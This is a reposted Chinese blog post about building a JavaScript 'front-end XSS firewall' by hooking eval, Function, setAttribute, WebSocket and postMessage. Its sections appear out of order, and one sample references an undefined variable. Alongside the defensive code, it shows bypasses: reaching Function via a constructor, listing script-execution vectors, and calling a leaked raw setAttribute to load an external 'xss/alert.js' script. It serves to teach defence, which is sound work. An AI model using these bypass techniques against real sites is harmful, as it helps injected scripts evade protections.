qileilove

blog已经转移至github,大家请访问 http://qaseven.github.io/

XSS前端防火墙—天衣无缝的防护

  讲解了钩子程序的攻防实战,并实现了一套对框架页的监控方案,将防护作用到所有子页面。
  到目前为止,我们防护的深度已经差不多,但广度还有所欠缺。
  例如,我们的属性钩子只考虑了 setAttribute,却忽视还有类似的 setAttributeNode。尽管从来不用这方法,但并不意味人家不能使用。
  例如,创建元素通常都是 createElement,事实上 createElementNS 同样也可以。甚至还可以利用现成的元素 cloneNode,也能达到目的。因此,这些都是边缘方法都是值得考虑的。
  下面我们对之前讨论过的监控点,进行逐一审核。
  内联事件执行 eval
  在第一篇文章结尾谈到,在执行回调的时候,最好能监控 eval,setTimeout('...') 这些能够解析代码的函数,以防止执行储存在其他地方的 XSS 代码。
  先来列举下这类函数:
  eval
  setTimeout(String) / setInterval(String)
  Function
  execScript / setImmediate(String)
  事实上,利用上一篇的钩子技术,完全可以把它们都监控起来。但现实并没有我们想象的那样简单。
  eval 重写有问题吗
  eval 不就是个函数,为什么不可以重写?
  var raw_fn = window.eval;
  window.eval = function(exp) {
  alert('执行eval: ' + exp);
  return raw_fn.apply(this, arguments);
  };
  console.log(eval('1+1'));
  完全没问题啊。那是因为代码太简单了,下面这个 Demo 就可以看出山寨版 eval 的缺陷:
  (function() {
  eval('var a=1');
  })();
  alert(typeof a);
  Run
  按理说应该 undefined 才对,结果却是 number。局部变量都跑到全局上来了。这是什么情况?事实上,eval 并不是真正意义的函数,而是一个关键字!想了解详情请戳这里。
  Function 重写有意义吗
  Function 是一个全局变量,重写 window.Function 理论上完全可行吧。
  var raw_fn = window.Function;
  window.Function = function() {
  alert('调用Function');
  return raw_fn.apply(this, arguments);
  };
  var add = Function('a', 'b', 'return a+b');
  console.log( add(1, 2) );
  重写确实可行。但现实却是不堪一击的:因为所有函数都是 Function 类的实例,所以访问任何一个函数的 constructor 即可得到原始的 Function。
 例如 alert.constructor,就可以绕过我们的钩子。甚至可以用匿名函数:
  (function(){}).constructor
  所以,Function 是永远钩不住的。
  额外的执行方法
  就算不用这类函数,仍有相当多的办法执行字符串,例如:
  创建脚本,innerHTML = 代码
  创建脚本,路径 = data:代码
  创建框架,路径 = javascript:代码
  ......
  看来,想完全把类似 eval 的行为监控起来,是不现实的。不过作为预警,我们只监控 eval,setTimeout/Interval 也就足够了。
  可疑模块拦截
  第二篇谈了站外模块的拦截。之所以称之『模块』而不是『脚本』,并非只有脚本元素才具备执行能力。框架页、插件都是可以运行代码的。
  可执行元素
  我们列举下,能执行远程模块的元素:
  脚本
  <script src="..." />
  框架
  <iframe src="...">
  <frame src="...">
  插件(Flash)
  <embed src="...">
  <object data="...">
  <object><param name="moive|src" value="..."></object>
  插件(其他)
  <applet codebase="...">
  这些元素的路径属性,都应该作为排查的对象。
  不过,有这么个元素的存在,可能导致我们的路径检测失效,它就是:
  <base href="...">
  它能重定义页面的相对路径,显然是不容忽视的。
  事实上,除了使用元素来执行站外模块,还可以使用网络通信,获得站外的脚本代码,然后再调用 eval 执行:
  AJAX
  目前主流浏览器都支持跨域请求,只要服务端允许就可以。因此,我们需监控 XMLHttpRequest::open 方法。如果请求的是站外地址,就得做策略匹配。不通过则放弃向上调用,或者抛出一个异常,或者给 XHR 产生一个 400 状态。
  WebSocket
  WebSocket 和 XHR 类似,也能通过钩子的方法进行监控。
  不过,值得注意的是,WebSocket 并非是个函数,而是一个类。因此,在返回实例的时候,别忘了将 constructor 改成自己的钩子,否则就会泄露原始接口:
  var raw_class = window.WebSocket;
  window.WebSocket = function WebSocket(url, arg) {
  alert('WebSocket 请求:' + url);
  var ins = new raw_class(url, arg);
  // 切记
  ins.constructor = WebSocket;
  return ins;
  };
  var ws = new WebSocket('ws://127.0.0.1:1000');
  另外,因为它是一个类,所以不要忽略了静态方法或属性:
  WebSocket.CONNECTING
  WebSocket.OPEN
  ...
  因此,还需将它们拷贝到钩子上。
  框架页消息
  HTML5 赋予了框架页跨域通信的能力。如果没有为框架元素建立白名单的话,攻击者可以嵌入自己的框架页面,然后将 XSS 代码 postMessage 给主页面,通过 eval 执行。
  不过为了安全考虑,HTML5 在消息事件里保存了来源地址,以识别消息是哪个页面发出的。
  因为是个事件,我们可以使用第一篇文章里提到的方法,对其进行捕获。每当有消息收到时,可以根据策略,决定是否阻止该事件的传递。
// 我们的防御系统
(function() {
window.addEventListener('message', function(e) {
if (confirm('发现来自[' + e.origin + ']的消息:\n\n' + e.data + '\n\n是否拦截?')) {
e.stopImmediatePropagation();
}
}, true);
})();
window.addEventListener('message', function(e) {
alert('收到:' + e.data)
})
postMessage('hello', '*');
Run


  昨天尝试了一系列的可疑模块拦截试验,尽管最终的方案还存在着一些兼容性问题,但大体思路已经明确了:
  静态模块:使用 MutationObserver 扫描。
  动态模块:通过 API 钩子来拦截路径属性。
  提到钩子程序,大家会联想到传统应用程序里的 API Hook,以及各种外挂木马。当然,未必是系统函数,任何 CPU 指令都能被改写成跳转指令,以实现先运行自己的程序。
  无论是在哪个层面,钩子程序的核心理念都是一样的:无需修改已有的程序,即可先执行我们的程序。
  这是一种链式调用的模式。调用者无需关心上一级的细节,直管用就是了,即使有额外的操作对其也是不可见的。从最底层的指令拦截,到语言层面的虚函数继承,以及更高层次的面向切面,都带有这类思想。
  对于 JavaScript 这样灵活的语言,任何模式都可以实现。之前做过一个网页版的变速齿轮,用的就是这类原理。
  JavaScript 钩子小试
  要实现一个最基本的钩子程序非常简单,昨天已演示过了。现在我们再来给 setAttribute 接口实现一个钩子:
// 保存上级接口
var raw_fn = Element.prototype.setAttribute;
// 勾住当前接口
Element.prototype.setAttribute = function(name, value) {
// 额外细节实现
if (this.tagName == 'SCRIPT' && /^src$/i.test(name)) {
if (/xss/.test(value)) {
if (confirm('试图加载可疑模块:\n\n' + url + '\n\n是否拦截?')) {
return;
}
}
}
raw_fn.apply(this, arguments);
};
// 创建脚本
var el = document.createElement('script');
el.setAttribute('SRC', 'http://www.etherdream.com/xss/alert.js');
document.body.appendChild(el);
Run
  类似昨天的访问器拦截,现在我们对 setAttribute 也进行类似的监控。因为它是个函数,所有主流浏览器都兼容。
  钩子泄露
  看起来似乎毫无难度,而且也没什么不对的地方,这不就可以了吗?
  如果最终就用这代码,那也太挫了。我们把原始接口都暴露在全局变量里了,攻击者只要拿了这个变量,即可绕过我们的检测代码:
  var el = document.createElement('script');
  // 直接调用原始接口
  raw_fn.call(el, 'SRC', 'http://www.etherdream.com/xss/alert.js');
  document.body.appendChild(el);
  Run

posted on 2014-07-07 21:27 顺其自然EVO 阅读(173) 评论(0)  编辑  收藏


只有注册用户登录后才能发表评论。


网站导航:
 
<2014年7月>
293012345
6789101112
13141516171819
20212223242526
272829303112
3456789

导航

统计

常用链接

留言簿(55)

随笔分类

随笔档案

文章分类

文章档案

搜索

最新评论

阅读排行榜

评论排行榜